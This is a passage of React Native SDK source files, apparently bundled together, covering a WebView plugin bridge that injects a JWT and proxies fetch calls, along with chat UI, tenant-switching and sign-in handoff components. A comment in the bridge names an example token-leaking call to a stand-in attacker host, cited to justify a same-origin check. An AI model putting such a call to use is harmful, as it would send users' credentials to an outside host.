pluginCommandEmitter.emit('plugin-close', { pluginId });\n return;\n }\n\n // -----------------------------------------------------------------\n // 4. Plugin command result — WebSocket (preferred) or HTTP POST\n // -----------------------------------------------------------------\n if (type === 'plugin.command.result' && payload?.correlationId) {\n const ws = wsRef?.current;\n if (ws && ws.readyState === WebSocket.OPEN) {\n try {\n ws.send(JSON.stringify({\n type: 'plugin-command-result',\n correlationId: payload.correlationId,\n result: payload.result,\n error: payload.error,\n }));\n } catch (err: any) {\n console.warn('[PluginBridge] WS send failed, falling back to POST:', err.message);\n await postCommandResult(payload.correlationId, payload.result, payload.error).catch(() => {});\n }\n } else {\n try {\n await postCommandResult(payload.correlationId, payload.result, payload.error);\n } catch (err: any) {\n console.warn('[PluginBridge] Failed to send command result:', err.message);\n }\n }\n return;\n }\n },\n [sendToPlugin],\n );\n\n return {\n webViewRef,\n sendInit,\n handleMessage,\n };\n}\n\n/**\n * Build injected JavaScript that:\n * 1. Seeds localStorage with JWT + tenant (plugins read from localStorage)\n * 2. Intercepts fetch(\"/mcp\") and proxies through the postMessage bridge\n * 3. Bridges iframe postMessage API to React Native WebView\n *\n * This makes existing web plugins work on mobile WITHOUT modification.\n */\nexport function buildPluginBridgeJS(jwt: string, tenant: string): string {\n return `\n(function() {\n function _dbg(msg) {\n console.log('[PluginBridge] ' + msg);\n }\n\n // 1. Seed localStorage. JWT is required by web-shared plugin code\n // (cpFeApi.ts etc. read localStorage.adas.jwt directly). Origin lockdown\n // lives in EmbeddedPluginWebView (originWhitelist +\n // onShouldStartLoadWithRequest) — not here. Never log the token.\n try {\n localStorage.setItem('adas.jwt', ${JSON.stringify(jwt)});\n localStorage.setItem('adas.tenant', ${JSON.stringify(tenant)});\n _dbg('localStorage seeded: jwt=' + (${JSON.stringify(jwt)} ? '[present]' : '[absent]') + ' tenant=' + ${JSON.stringify(tenant)});\n } catch(e) { _dbg('localStorage ERROR: ' + e.message); }\n\n // 2. Intercept ALL fetch calls — proxy /mcp through the RN bridge\n var _origFetch = window.fetch.bind(window);\n var _mcpReqId = 0;\n var _pendingMcp = {};\n\n window.fetch = function(url, opts) {\n var urlStr = (typeof url === 'string') ? url : (url && url.url) || '';\n var method = (opts && opts.method) || 'GET';\n\n _dbg('FETCH ' + method + ' ' + urlStr.substring(0, 80));\n\n // Intercept /mcp calls\n if (urlStr === '/mcp' || urlStr.endsWith('/mcp')) {\n _dbg(' -> INTERCEPTED /mcp, proxying via RN bridge');\n return new Promise(function(resolve, reject) {\n var requestId = 'mcp-f-' + (++_mcpReqId) + '-' + Date.now();\n _pendingMcp[requestId] = { resolve: resolve, reject: reject };\n window.ReactNativeWebView.postMessage(JSON.stringify({\n source: 'adas-plugin',\n action: 'mcp-fetch',\n payload: { requestId: requestId, body: opts && opts.body ? opts.body : null }\n }));\n setTimeout(function() {\n if (_pendingMcp[requestId]) {\n delete _pendingMcp[requestId];\n _dbg('TIMEOUT mcp-fetch ' + requestId);\n reject(new Error('MCP fetch timeout (30s)'));\n }\n }, 30000);\n });\n }\n\n // Inject Authorization header ONLY for same-origin requests. A relative\n // path resolves against window.location.origin; an absolute URL must\n // literally match. This stops a plugin from leaking the JWT to a foreign\n // host via fetch('https://attacker.com/x') or via <base href>.\n var sameOrigin = false;\n try {\n var resolved = new URL(urlStr, window.location.origin);\n sameOrigin = (resolved.origin === window.location.origin);\n } catch (_) { sameOrigin = false; }\n if (sameOrigin) {\n opts = Object.assign({}, opts || {});\n var h = opts.headers;\n if (h instanceof Headers) {\n if (!h.has('Authorization')) { var jwt = localStorage.getItem('adas.jwt'); if (jwt) h.set('Authorization', 'Bearer ' + jwt); }\n } else {\n h = Object.assign({}, h || {});\n if (!h['Authorization'] && !h['authorization']) { var jwt2 = localStorage.getItem('adas.jwt'); if (jwt2) h['Authorization'] = 'Bearer ' + jwt2; }\n opts.headers = h;\n }\n }\n\n return _origFetch(url, opts).then(function(res) {\n _dbg(' <- ' + res.status + ' ' + urlStr.substring(0, 60));\n return res;\n }).catch(function(err) {\n _dbg(' <- FETCH ERR: ' + err.message + ' ' + urlStr.substring(0, 40));\n throw err;\n });\n };\n\n // Handle results from RN host\n function _handleHostMessage(d) {\n if (!d || d.source !== 'adas-host') return;\n var msg = d.message || {};\n\n // mcp-fetch-result: response to intercepted fetch(\"/mcp\")\n if (msg.type === 'mcp-fetch-result' && msg.payload) {\n var p = msg.payload;\n var pending = _pendingMcp[p.requestId];\n if (pending) {\n delete _pendingMcp[p.requestId];\n if (p.error) {\n pending.reject(new Error(p.error));\n } else {\n pending.resolve(new Response(JSON.stringify(p.result), {\n status: 200,\n headers: { 'Content-Type': 'application/json' }\n }));\n }\n }\n }\n }\n\n // 3. Override window.parent.postMessage (plugins use this in iframes)\n window.parent = window.parent || {};\n window.parent.postMessage = function(data, origin) {\n if (data && data.source === 'adas-plugin') {\n window.ReactNativeWebView.postMessage(JSON.stringify(data));\n }\n };\n\n // 4. Also intercept direct window.postMessage\n var origPost = window.postMessage.bind(window);\n window.postMessage = function(data, origin) {\n if (data && data.source === 'adas-plugin') {\n window.ReactNativeWebView.postMessage(JSON.stringify(data));\n }\n origPost(data, origin);\n };\n\n // 5. Forward messages from RN host -> plugin\n // iOS: window 'message' event, Android: document 'message' event\n window.addEventListener('message', function(e) {\n try {\n var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;\n if (d && d.source === 'adas-host') {\n _handleHostMessage(d);\n if (typeof e.data === 'string') {\n window.dispatchEvent(new MessageEvent('message', { data: d }));\n }\n }\n } catch(_) {}\n });\n\n document.addEventListener('message', function(e) {\n try {\n var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;\n _handleHostMessage(d);\n window.dispatchEvent(new MessageEvent('message', { data: d }));\n } catch(_) {}\n });\n\n _dbg('Bridge JS loaded. Waiting for plugin...');\n true;\n})();\n`;\n}\n","// Renders the option chips for an assistant turn that asked a question with\n// choices (sys.askUser). This is NOT a special \"pending question\" mode — a tap\n// simply calls sendMessage(label), i.e. the user's answer goes back as an\n// ordinary new message (exactly what they'd get by typing it). Kept separate\n// from UIActionsRow (home-action chips) so that mechanism is untouched.\nimport React from 'react';\nimport { View, Text, Pressable, StyleSheet, Platform } from 'react-native';\nimport { ada, fontSize, useChatStore } from '@ateam-ai-mobile/core';\n\nconst fontFam = Platform.OS === 'ios' ? 'SF Pro Rounded' : undefined;\n\n/** Normalize the options: confirm → Yes/No when no explicit options given. */\nfunction resolveOptions(inputType: string | undefined, options?: string[]): string[] {\n if (Array.isArray(options) && options.length) return options.filter(o => typeof o === 'string' && o.trim());\n if (inputType === 'confirm') return ['Yes', 'No'];\n return [];\n}\n\nexport default function QuestionChips({\n inputType,\n options,\n}: {\n inputType?: string;\n options?: string[];\n}) {\n const opts = resolveOptions(inputType, options);\n if (!opts.length) return null;\n\n const answer = (label: string) => {\n // The reply is just another message on the same chain — the chain-router\n // folds it into the running task. No dedicated respond endpoint.\n try { useChatStore.getState().sendMessage(label); } catch { /* no-op */ }\n };\n\n return (\n <View style={styles.row}>\n {opts.map((label, i) => (\n <Pressable\n key={`${label}-${i}`}\n accessibilityRole=\"button\"\n accessibilityLabel={label}\n onPress={() => answer(label)}\n style={({ pressed }) => [styles.chip, pressed && styles.chipPressed]}\n >\n <Text style={styles.label} numberOfLines={2}>{label}</Text>\n </Pressable>\n ))}\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n row: {\n flexDirection: 'row',\n flexWrap: 'wrap',\n gap: 6,\n marginTop: 10,\n },\n chip: {\n paddingHorizontal: 12,\n paddingVertical: 8,\n backgroundColor: ada.orangeSoft,\n borderColor: ada.orange,\n borderWidth: 1,\n borderRadius: 14,\n },\n chipPressed: {\n backgroundColor: ada.orange,\n },\n label: {\n color: ada.orangeDeep,\n fontSize: fontSize.xs,\n fontWeight: '600',\n fontFamily: fontFam,\n },\n});\n","import { View, Text, StyleSheet, Platform } from 'react-native';\nimport { ada, borderRadius, fontSize, spacing } from '@ateam-ai-mobile/core';\n\nconst fontFam = Platform.OS === 'ios' ? 'SF Pro Rounded' : undefined;\n\ninterface Props {\n columns: string[];\n rows: any[][];\n}\n\n/**\n * Renders tabular data as a vertical stack of cards — one card per row.\n * The first column becomes the card title; remaining columns become\n * key:value rows inside the card. Built specifically for narrow phone\n * screens where horizontal markdown tables become unreadable.\n */\nexport default function TableCardBlock({ columns, rows }: Props) {\n if (!columns?.length || !rows?.length) return null;\n\n const [titleCol, ...detailCols] = columns;\n\n return (\n <View style={styles.wrap}>\n {rows.map((row, i) => {\n const cells = Array.isArray(row) ? row : [row];\n const title = cells[0];\n return (\n <View key={i} style={styles.card}>\n <Text style={styles.title}>{String(title ?? '')}</Text>\n {detailCols.length > 0 && (\n <View style={styles.details}>\n {detailCols.map((col, ci) => {\n const value = cells[ci + 1];\n if (value == null || value === '') return null;\n return (\n <View key={ci} style={styles.row}>\n <Text style={styles.label}>{String(col)}</Text>\n <Text style={styles.value}>{String(value)}</Text>\n </View>\n );\n })}\n </View>\n )}\n </View>\n );\n })}\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n wrap: {\n marginVertical: 6,\n gap: 8,\n },\n card: {\n backgroundColor: ada.paper,\n borderRadius: borderRadius.md,\n borderWidth: 1,\n borderColor: ada.border,\n padding: spacing.md,\n },\n title: {\n color: ada.ink,\n fontSize: fontSize.md,\n fontWeight: '600',\n fontFamily: fontFam,\n letterSpacing: -0.2,\n marginBottom: 6,\n },\n details: {\n gap: 4,\n },\n row: {\n flexDirection: 'row',\n alignItems: 'flex-start',\n gap: 8,\n },\n label: {\n color: ada.inkMuted,\n fontSize: fontSize.xs,\n fontFamily: fontFam,\n fontWeight: '500',\n width: 84,\n textTransform: 'uppercase',\n letterSpacing: 0.6,\n paddingTop: 2,\n },\n value: {\n flex: 1,\n color: ada.inkSoft,\n fontSize: fontSize.sm,\n fontFamily: fontFam,\n lineHeight: 18,\n },\n});\n","/**\n * Lightbox store — any component can open a fullscreen image viewer\n * by calling `useLightboxStore.getState().show(uri)`. The lightbox is\n * mounted once at the app root.\n */\nimport { create } from 'zustand';\n\ninterface LightboxState {\n uri: string | null;\n show: (uri: string) => void;\n hide: () => void;\n}\n\nexport const useLightboxStore = create<LightboxState>((set) => ({\n uri: null,\n show: (uri) => set({ uri }),\n hide: () => set({ uri: null }),\n}));\n","import { View, StyleSheet } from 'react-native';\nimport { AdaOrb } from '@ateam-ai-mobile/plugin-runtime';\n\nexport default function TypingIndicator() {\n return (\n <View style={styles.row}>\n <AdaOrb size={32} state=\"thinking\" />\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n row: {\n flexDirection: 'row',\n alignItems: 'center',\n marginBottom: 12,\n paddingHorizontal: 16,\n paddingVertical: 4,\n },\n});\n","import { useState, useRef, useCallback, useEffect } from 'react';\nimport {\n View,\n TextInput,\n Pressable,\n StyleSheet,\n Platform,\n} from 'react-native';\nimport Svg, { Path, Line, Polygon } from 'react-native-svg';\nimport { colors, borderRadius } from '@ateam-ai-mobile/core';\nimport { getHaptics } from '@ateam-ai-mobile/plugin-runtime';\n\ninterface Props {\n onSend: (text: string) => void;\n onCallStart?: () => void;\n loading: boolean;\n /** Pre-fill the composer (e.g. from bridge.prepareMessage). The text is\n * placed in the input and focused — not sent. */\n prefill?: string;\n placeholder?: string;\n}\n\nexport default function ChatInput({ onSend, onCallStart, loading, prefill, placeholder }: Props) {\n const [text, setText] = useState('');\n const [height, setHeight] = useState(40);\n const inputRef = useRef<TextInput>(null);\n\n useEffect(() => {\n if (prefill) {\n setText(prefill);\n inputRef.current?.focus();\n }\n }, [prefill]);\n\n // NOTE: no `loading` guard and no editable={!loading} — sending WHILE a\n // chain runs is a feature (backend Chain Additions router decides\n // attach/cancel/new), and the input must never be disabled mid-run.\n const handleSend = useCallback(() => {\n const trimmed = text.trim();\n if (!trimmed) return;\n getHaptics()?.impact('light');\n onSend(trimmed);\n setText('');\n setHeight(40);\n }, [text, loading, onSend]);\n\n const canSend = text.trim().length > 0;\n\n return (\n <View style={styles.dock}>\n <View style={styles.inputRow}>\n {onCallStart && (\n <Pressable style={styles.callBtn} onPress={onCallStart}>\n <Svg width={20} height={20} viewBox=\"0 0 24 24\" fill=\"none\" stroke={colors.light.accent} strokeWidth={2} strokeLinecap=\"round\" strokeLinejoin=\"round\">\n <Path d=\"M22 16.92v3a2 2 0 01-2.18 2 19.79 19.79 0 01-8.63-3.07 19.5 19.5 0 01-6-6 19.79 19.79 0 01-3.07-8.63A2 2 0 014.11 2h3a2 2 0 012 1.72 12.84 12.84 0 00.7 2.81 2 2 0 01-.45 2.11L8.09 9.91a16 16 0 006 6l1.27-1.27a2 2 0 012.11-.45 12.84 12.84 0 002.81.7A2 2 0 0122 16.92z\" />\n </Svg>\n </Pressable>\n )}\n <TextInput\n ref={inputRef}\n style={[styles.input, { height: Math.min(Math.max(40, height), 120) }]}\n value={text}\n onChangeText={setText}\n onContentSizeChange={e => setHeight(e.nativeEvent.contentSize.height)}\n placeholder={placeholder || 'Message A-Team...'}\n placeholderTextColor={colors.light.textMuted}\n multiline\n returnKeyType=\"default\"\n blurOnSubmit={false}\n onSubmitEditing={() => {\n if (Platform.OS === 'web') handleSend();\n }}\n />\n <Pressable\n style={[styles.sendBtn, canSend && styles.sendBtnActive]}\n onPress={handleSend}\n disabled={!canSend}\n >\n <Svg width={18} height={18} viewBox=\"0 0 24 24\" fill=\"none\" stroke={canSend ? '#fff' : colors.light.textMuted} strokeWidth={2}>\n <Line x1=\"22\" y1=\"2\" x2=\"11\" y2=\"13\" />\n <Polygon points=\"22 2 15 22 11 13 2 9 22 2\" />\n </Svg>\n </Pressable>\n </View>\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n dock: {\n paddingHorizontal: 12,\n paddingVertical: 8,\n backgroundColor: colors.light.bgPrimary,\n borderTopWidth: 0.5,\n borderTopColor: colors.light.border,\n },\n inputRow: {\n flexDirection: 'row',\n alignItems: 'flex-end',\n backgroundColor: colors.light.bgInput,\n borderRadius: borderRadius.xl,\n borderWidth: 1,\n borderColor: colors.light.border,\n paddingHorizontal: 4,\n paddingVertical: 4,\n gap: 4,\n },\n callBtn: {\n width: 36,\n height: 36,\n borderRadius: 18,\n justifyContent: 'center',\n alignItems: 'center',\n },\n input: {\n flex: 1,\n fontSize: 16,\n color: colors.light.textPrimary,\n paddingHorizontal: 8,\n paddingVertical: 8,\n maxHeight: 120,\n },\n sendBtn: {\n width: 36,\n height: 36,\n borderRadius: 18,\n justifyContent: 'center',\n alignItems: 'center',\n backgroundColor: colors.light.bgTertiary,\n },\n sendBtnActive: {\n backgroundColor: colors.light.accent,\n },\n});\n","/**\n * Fullscreen image viewer — mounted once inside AdasChatScreen (or at the\n * host root). Any component opens it via useLightboxStore.getState().show(uri).\n */\nimport { Modal, View, Image, Pressable, Text, StyleSheet } from 'react-native';\nimport { getConfig } from '@ateam-ai-mobile/core';\nimport { useLightboxStore } from './stores/lightboxStore';\n\nexport default function Lightbox() {\n const uri = useLightboxStore(s => s.uri);\n const hide = useLightboxStore(s => s.hide);\n\n if (!uri) return null;\n\n return (\n <Modal visible transparent animationType=\"fade\" onRequestClose={hide}>\n <Pressable style={styles.backdrop} onPress={hide}>\n <Image\n source={{\n uri,\n ...(uri.startsWith('http') ? {\n headers: { Authorization: `Bearer ${getConfig().tokenProvider.getToken()}` },\n } : {}),\n }}\n style={styles.image}\n resizeMode=\"contain\"\n />\n <View style={styles.closeHint}>\n <Text style={styles.closeHintText}>Tap to close</Text>\n </View>\n </Pressable>\n </Modal>\n );\n}\n\nconst styles = StyleSheet.create({\n backdrop: {\n flex: 1,\n backgroundColor: 'rgba(0,0,0,0.92)',\n justifyContent: 'center',\n },\n image: {\n width: '100%',\n height: '85%',\n },\n closeHint: {\n position: 'absolute',\n bottom: 40,\n alignSelf: 'center',\n },\n closeHintText: {\n color: 'rgba(255,255,255,0.6)',\n fontSize: 13,\n },\n});\n","// src/components/widgets/WidgetWebView.tsx\n//\n// Fullscreen modal that renders an ACS widget bundle in a WebView.\n//\n// The bundleUrl on each /surface item is a signed URL minted by the backend\n// proxy (apps/backend/routes/acsProxy.js → signItemBundleUrl). The URL\n// self-authenticates — the bundle endpoint verifies sig/exp/tenant/actor on\n// the server side — so the WebView doesn't need to pass auth headers.\n//\n// Relative URLs (e.g. `/api/acs/artifacts/.../bundle/1?sig=…`) are prepended\n// with the current core URL from configStore.\n//\n// Strict CSP is set on the response by the bundle endpoint. We additionally\n// disable JS injection paths we don't need (no onMessage handlers wired,\n// no injectedJavaScriptBeforeContentLoaded).\n\nimport { useMemo, useState } from 'react';\nimport {\n Modal,\n View,\n Text,\n Pressable,\n StyleSheet,\n ActivityIndicator,\n Platform,\n} from 'react-native';\nimport { WebView } from 'react-native-webview';\nimport { ada } from '@ateam-ai-mobile/core';\nimport { getCoreApiUrl } from '@ateam-ai-mobile/core';\n\nconst fontFam = Platform.OS === 'ios' ? 'SF Pro Rounded' : undefined;\n\ninterface Props {\n visible: boolean;\n /** Display title shown in the top bar. */\n title?: string;\n /** Signed bundle URL from a /surface item. Relative or absolute. */\n bundleUrl?: string;\n onClose: () => void;\n}\n\nexport default function WidgetWebView({ visible, title, bundleUrl, onClose }: Props) {\n const [loading, setLoading] = useState(true);\n const [error, setError] = useState<string | null>(null);\n\n // Absolute URL — prepend the resolved core if backend returned a relative path.\n const uri = useMemo(() => {\n if (!bundleUrl) return null;\n if (/^https?:\\/\\//i.test(bundleUrl)) return bundleUrl;\n return `${getCoreApiUrl()}${bundleUrl}`;\n }, [bundleUrl]);\n\n return (\n <Modal\n visible={visible}\n animationType=\"slide\"\n presentationStyle=\"pageSheet\"\n onRequestClose={onClose}\n >\n <View style={styles.root}>\n <View style={styles.bar}>\n <Pressable onPress={onClose} hitSlop={12} style={styles.closeBtn}>\n <Text style={styles.closeIcon}>{'✕'}</Text>\n </Pressable>\n <Text style={styles.title} numberOfLines={1}>{title || 'Widget'}</Text>\n {/* Spacer matches closeBtn width so the title stays centered */}\n <View style={styles.closeBtn} />\n </View>\n {!uri ? (\n <View style={styles.errorWrap}>\n <Text style={styles.errorText}>No bundle available for this widget.</Text>\n </View>\n ) : error ? (\n <View style={styles.errorWrap}>\n <Text style={styles.errorText}>Couldn't load widget</Text>\n <Text style={styles.errorSub}>{error}</Text>\n </View>\n ) : (\n <>\n <WebView\n source={{ uri }}\n style={styles.web}\n onLoadStart={() => { setLoading(true); setError(null); }}\n onLoadEnd={() => setLoading(false)}\n onError={(e) => {\n setLoading(false);\n setError(e.nativeEvent.description || 'Unknown error');\n }}\n onHttpError={(e) => {\n setLoading(false);\n setError(`HTTP ${e.nativeEvent.statusCode}`);\n }}\n // The bundle is the only thing this WebView should render.\n // Block navigation away from it (prevents accidental browse\n // out of the widget sandbox into arbitrary URLs).\n originWhitelist={['https://*']}\n setSupportMultipleWindows={false}\n />\n {loading && (\n <View pointerEvents=\"none\" style={styles.spinner}>\n <ActivityIndicator color={ada.orange} />\n </View>\n )}\n </>\n )}\n </View>\n </Modal>\n );\n}\n\nconst styles = StyleSheet.create({\n root: {\n flex: 1,\n backgroundColor: ada.paper,\n },\n bar: {\n flexDirection: 'row',\n alignItems: 'center',\n paddingHorizontal: 14,\n paddingVertical: 12,\n borderBottomWidth: 1,\n borderBottomColor: ada.border,\n backgroundColor: ada.paperSoft,\n },\n closeBtn: {\n width: 32,\n height: 32,\n alignItems: 'center',\n justifyContent: 'center',\n },\n closeIcon: {\n fontSize: 18,\n color: ada.ink,\n fontWeight: '500',\n },\n title: {\n flex: 1,\n textAlign: 'center',\n fontSize: 16,\n fontWeight: '600',\n color: ada.ink,\n fontFamily: fontFam,\n letterSpacing: -0.2,\n },\n web: {\n flex: 1,\n backgroundColor: ada.paper,\n },\n spinner: {\n position: 'absolute',\n top: 80,\n left: 0,\n right: 0,\n alignItems: 'center',\n },\n errorWrap: {\n flex: 1,\n alignItems: 'center',\n justifyContent: 'center',\n paddingHorizontal: 24,\n },\n errorText: {\n fontSize: 15,\n color: ada.ink,\n fontWeight: '600',\n marginBottom: 6,\n },\n errorSub: {\n fontSize: 13,\n color: ada.inkMuted,\n textAlign: 'center',\n },\n});\n","/**\n * TenantPicker — prebuilt team switcher, fully SDK-driven.\n *\n * Lists the user's REAL memberships via core's listMyTenants() and, on tap,\n * re-scopes the whole session with core's switchTenant() (which mints the new\n * tenant JWT, persists it through config.onSession, and reconnects chat). The\n * host only reacts via onSwitched (e.g. navigate home). Single-tenant hosts\n * simply never render it.\n *\n * For custom flows, pass `onSelect` to intercept the tap instead of switching.\n */\nimport { useEffect, useState } from 'react';\nimport { View, Text, Pressable, ActivityIndicator, StyleSheet, Platform } from 'react-native';\nimport { ada, fontSize, borderRadius, listMyTenants, switchTenant, getTenant } from '@ateam-ai-mobile/core';\nimport type { TenantMembership, AdasSession } from '@ateam-ai-mobile/core';\n\nconst fontFam = Platform.OS === 'ios' ? 'SF Pro Rounded' : undefined;\n\nexport interface TenantPickerProps {\n /** Called after a successful SDK-driven switch (host navigates/refreshes). */\n onSwitched?: (session: AdasSession) => void;\n /** Intercept the tap instead of switching — for fully custom host flows.\n * When provided, the SDK does NOT call switchTenant(). */\n onSelect?: (tenant: TenantMembership) => void;\n /** Highlight the active tenant. Defaults to the SDK config's tenant. */\n currentTenantId?: string;\n}\n\nexport default function TenantPicker({ onSwitched, onSelect, currentTenantId }: TenantPickerProps) {\n const [tenants, setTenants] = useState<TenantMembership[] | null>(null);\n const [error, setError] = useState<string | null>(null);\n const [switching, setSwitching] = useState<string | null>(null);\n const active = currentTenantId ?? getTenant();\n\n useEffect(() => {\n let cancelled = false;\n listMyTenants()\n .then(list => { if (!cancelled) setTenants(list); })\n .catch(e => { if (!cancelled) setError(e?.message || 'Failed to load teams'); });\n return () => { cancelled = true; };\n }, []);\n\n const handlePress = async (t: TenantMembership) => {\n if (t.id === active || switching) return;\n if (onSelect) { onSelect(t); return; }\n setError(null);\n setSwitching(t.id);\n try {\n const session = await switchTenant(t.id);\n onSwitched?.(session);\n } catch (e: any) {\n setError(e?.message || 'Could not switch team');\n } finally {\n setSwitching(null);\n }\n };\n\n if (error) return <Text style={styles.error}>{error}</Text>;\n if (!tenants) {\n return (\n <View style={styles.loading}>\n <ActivityIndicator color={ada.orange} />\n </View>\n );\n }\n if (tenants.length === 0) return <Text style={styles.empty}>No teams found for this account.</Text>;\n\n return (\n <View style={styles.list}>\n {tenants.map(t => {\n const isActive = t.id === active;\n const isSwitching = switching === t.id;\n return (\n <Pressable\n key={t.id}\n accessibilityRole=\"button\"\n accessibilityLabel={`Team ${t.name}${isActive ? ', current' : ''}`}\n disabled={!!switching}\n onPress={() => handlePress(t)}\n style={[styles.row, isActive && styles.rowActive]}\n >\n <View style={styles.dot} />\n <View style={styles.rowText}>\n <Text style={styles.name}>{t.name}</Text>\n <Text style={styles.slug}>{t.id}</Text>\n </View>\n {isSwitching ? <ActivityIndicator color={ada.orange} /> : isActive ? <Text style={styles.check}>✓</Text> : null}\n </Pressable>\n );\n })}\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n list: {\n gap: 10,\n },\n row: {\n flexDirection: 'row',\n alignItems: 'center',\n gap: 12,\n backgroundColor: ada.paperSoft,\n borderRadius: borderRadius.lg,\n borderWidth: 1,\n borderColor: 'transparent',\n paddingHorizontal: 16,\n paddingVertical: 14,\n },\n rowActive: {\n backgroundColor: ada.orangeSoft,\n borderColor: ada.orange,\n },\n dot: {\n width: 10,\n height: 10,\n borderRadius: 5,\n backgroundColor: ada.orange,\n },\n rowText: {\n flex: 1,\n },\n name: {\n color: ada.ink,\n fontSize: fontSize.lg,\n fontWeight: '600',\n fontFamily: fontFam,\n },\n slug: {\n color: ada.inkMuted,\n fontSize: fontSize.sm,\n fontFamily: 'monospace',\n },\n check: {\n color: ada.orangeDeep,\n fontSize: fontSize.lg,\n fontWeight: '700',\n },\n loading: {\n paddingVertical: 24,\n alignItems: 'center',\n },\n empty: {\n color: ada.inkMuted,\n fontSize: fontSize.md,\n textAlign: 'center',\n paddingVertical: 16,\n },\n error: {\n color: '#C15545',\n fontSize: fontSize.md,\n textAlign: 'center',\n paddingVertical: 16,\n },\n});\n","// A persistent banner for a non-active workspace (expired trial, suspended…).\n//\n// It renders the SERVER's `workspace.message` VERBATIM — the client never\n// composes copy, so a new plan changes the wording without a mobile release.\n// Persistent, not a toast: the condition persists, so the banner stays until\n// the workspace state changes. No local rules, no reason→copy mapping.\n//\n// Mount once near the app root (above the chat). Renders nothing when the\n// workspace is active, unknown, or unloaded — so pre-promotion (no /api/session\n// yet) and healthy workspaces show no banner at all.\n\nimport { View, Text, StyleSheet } from 'react-native';\nimport { ada, fontSize, spacing, useWorkspaceStore } from '@ateam-ai-mobile/core';\n\n// Warm amber for a \"heads up, reduced\" state — matches JobProgressBar's warm\n// vocabulary rather than the SDK's cool default palette.\nconst WARM_AMBER = '#D49A4E';\nconst WARM_AMBER_SOFT = 'rgba(212, 154, 78, 0.16)';\nconst WARM_AMBER_BORDER = 'rgba(212, 154, 78, 0.4)';\n\nexport interface WorkspaceBannerProps {\n /** Extra top inset (e.g. safe-area) so the banner clears the status bar. */\n topInset?: number;\n}\n\nexport default function WorkspaceBanner({ topInset = 0 }: WorkspaceBannerProps) {\n const snapshot = useWorkspaceStore((s) => s.snapshot);\n\n // Show only when the server gave us a real snapshot that is NOT active and\n // carries a message to render. Everything else → nothing.\n if (!snapshot) return null;\n if (snapshot.state === 'active' || snapshot.state === 'unknown') return null;\n if (!snapshot.message) return null;\n\n return (\n <View\n style={[styles.container, { paddingTop: spacing.sm + topInset }]}\n accessibilityRole=\"alert\"\n accessibilityLabel={snapshot.message}\n >\n <View style={styles.dot} />\n <Text style={styles.message}>{snapshot.message}</Text>\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n container: {\n flexDirection: 'row',\n alignItems: 'flex-start',\n gap: spacing.sm,\n paddingHorizontal: spacing.md,\n paddingBottom: spacing.sm,\n backgroundColor: WARM_AMBER_SOFT,\n borderBottomWidth: StyleSheet.hairlineWidth,\n borderBottomColor: WARM_AMBER_BORDER,\n },\n dot: {\n width: 8,\n height: 8,\n borderRadius: 4,\n marginTop: 5,\n backgroundColor: WARM_AMBER,\n },\n message: {\n flex: 1,\n color: ada.ink,\n fontSize: fontSize.sm,\n lineHeight: fontSize.sm * 1.35,\n },\n});\n","/**\n * HandoffScreen (R9B — relocated from the app) — web→app sign-in handoff.\n *\n * Shown pre-auth when a one-time handoff code is pending (the host captured it\n * from a deep link, e.g. ateam://handoff?handoff=<code>). We trade the code for\n * a normal session JWT and sign in — no OAuth, no passkey. This is the R9B PILOT:\n * fully generic, needs no OAuthProvider, and carries the security-sensitive\n * error mapper + the exchange-once guard that must move WITH the screen.\n *\n * Everything host-specific is injected:\n * - `code` the deep-link code (capture + parsing stay host-side)\n * - `onSignedIn` session adoption (host: authStore.login → core session +\n * the shell-only tenantConfirmed / phase gate)\n * - `onDone` clear the consumed single-use code (host store) after success\n * - `onCancel` back to sign in (host toggles the pre-auth phase)\n *\n * The host wraps this in its own <SafeAreaView> — this package stays native-free\n * (no react-native-safe-area-context, no router). Styling is core's ada tokens,\n * matching every other ui component.\n */\nimport { useEffect, useRef, useState } from 'react';\nimport { View, Text, Pressable, StyleSheet, Platform, ActivityIndicator } from 'react-native';\nimport { exchangeHandoff, ada } from '@ateam-ai-mobile/core';\nimport { AdaOrb } from '@ateam-ai-mobile/plugin-runtime';\nimport { runHandoffExchange, handoffErrorMessage } from './handoffExchange';\n\nconst fontFam = Platform.OS === 'ios' ? 'SF Pro Rounded' : undefined;\n\nexport interface HandoffScreenProps {\n /** The one-time handoff code the host captured from the deep link (null = nothing pending). */\n code: string | null;\n /** Adopt the session JWT (host wires its authStore.login → core session + tenantConfirmed). */\n onSignedIn: (jwt: string) => void | Promise<void>;\n /** Clear the consumed single-use code so a relaunch never retries it. Called after success. */\n onDone: () => void;\n /** Back to sign in — the host toggles the pre-auth phase (not a router). */\n onCancel: () => void;\n}\n\nexport default function HandoffScreen({ code, onSignedIn, onDone, onCancel }: HandoffScreenProps) {\n const [err, setErr] = useState<string | null>(null);\n // Exchange each code AT MOST ONCE. A single-use code exchanged twice\n // (StrictMode/fast-refresh double-invoke) burns itself: the first call wins and\n // the second gets \"already used\", which would otherwise surface as a spurious\n // error over a successful sign-in. Keying on the code (not a bool) still lets a\n // genuinely NEW code re-trigger the exchange.\n const startedForRef = useRef<string | null>(null);\n\n useEffect(() => {\n if (!code || startedForRef.current === code) return;\n startedForRef.current = code;\n runHandoffExchange(code, { exchange: exchangeHandoff, onSignedIn, onDone })\n .catch((e: any) => setErr(handoffErrorMessage(e?.message)));\n }, [code, onSignedIn, onDone]);\n\n return (\n <View style={styles.container}>\n <View style={styles.center}>\n <AdaOrb size={72} state={err ? 'idle' : 'thinking'} />\n {!err ? (\n <>\n <Text style={styles.title}>Signing you in…</Text>\n <ActivityIndicator color={ada.ink} style={{ marginTop: 6 }} />\n </>\n ) : (\n <>\n <Text style={styles.title}>Couldn’t finish sign-in</Text>\n <Text style={styles.sub}>{err}</Text>\n <Pressable onPress={onCancel} hitSlop={8} style={styles.back}>\n <Text style={styles.backText}>Back to sign in</Text>\n </Pressable>\n </>\n )}\n </View>\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n container: { flex: 1, backgroundColor: ada.paper },\n center: { flex: 1, alignItems: 'center', justifyContent: 'center', gap: 14, paddingHorizontal: 32 },\n title: { fontSize: 20, fontWeight: '600', color: ada.ink, fontFamily: fontFam, marginTop: 8 },\n sub: { fontSize: 14, lineHeight: 20, color: ada.inkSoft, textAlign: 'center', fontFamily: 